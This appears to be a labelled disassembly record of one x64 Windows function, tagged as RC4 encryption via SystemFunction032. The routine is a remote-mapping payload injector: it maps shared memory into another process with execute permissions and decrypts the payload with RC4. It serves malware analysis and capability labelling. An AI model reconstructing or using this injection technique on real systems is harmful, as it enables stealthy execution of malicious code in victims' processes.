Function at 0x140001310
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov r15, qword [rsp + 0xc8]
xor edi, edi
mov r14, qword [rsp + 0xd0]
mov r12, rcx
mov qword [rsp + 0x28], rdi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], 0x114
lea rcx, [rdi - 1]
lea r8d, [rdi + 0x40]
lea r13d, [rdi + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rsp + 0x40], rax
test rax, rax
jne 0x140001391
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____CreateFileMapping_Failed_With_Error_:__d__n
call fcn.140001070
mov qword [r15], rdi
mov eax, edi
mov qword [r14], rdi
jmp 0x1400015fe
mov qword [rsp + 0xb0], rbp
xor r9d, r9d
mov ebp, 2
mov qword [rsp + 0xb8], rsi
mov edx, ebp
mov qword [rsp + 0x20], 0x114
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rsi, rax
test rax, rax
jne 0x1400013e4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____MapViewOfFile_Failed_With_Error_:__d__n
call fcn.140001070
mov r13d, edi
jmp 0x1400015da
mov rdx, rsi
mov qword [rsp + 0xa8], rbx
lea rcx, str._t___Local_Mapping_Address_:_0x_p__n
call fcn.140001070
lea rcx, str._t___Press__Enter__To_Write_The_Payload_...
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rdx, rsi
lea rcx, str._t_i__Copying_Payload_To_0x_p_...
call fcn.140001070
lea rbx, [0x140005080]
mov rcx, rsi
mov rax, rbx
mov rdx, rbp
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, r13
jne 0x140001430
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
mov eax, dword [rax + 0x10]
mov dword [rcx + 0x10], eax
lea rcx, str.___DONE__n
call fcn.140001070
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov dword [rsp + 0x38], 0xffffffff
xor r8d, r8d
mov dword [rsp + 0x30], 0x40
mov rdx, r12
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.api_ms_win_core_memory_l1_1_5.dll_MapViewOfFileNuma2]
mov r12, rax
test rax, rax
jne 0x1400014eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._t____MapViewOfFile2_Failed_With_Error_:__d__n
call fcn.140001070
mov r13d, edi
jmp 0x1400015cf
mov rdx, r12
lea rcx, str._t___Remote_Mapping_Address_:_0x_p__n
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
lea rax, [0x140005198]
mov dword [rsp + 0x48], 0x10
lea rcx, str.Advapi32
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x4c], 0x10
mov dword [rsp + 0x58], 0x114
mov dword [rsp + 0x5c], 0x114
mov qword [rsp + 0x60], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x58]
call rax
test eax, eax
je 0x14000156c
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001070
mov rcx, rsi
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rbp, 1
jne 0x140001570
movups xmm0, xmmword [rbx]
movups xmmword [rcx], xmm0
mov edx, dword [rbx + 0x10]
mov dword [rcx + 0x10], edx
mov rbx, qword [rsp + 0xa8]
mov rdi, r12
mov rcx, qword [rsp + 0x40]
mov qword [r15], rdi
mov qword [r14], rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0xb8]
mov eax, r13d
mov rbp, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140001a50
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
ret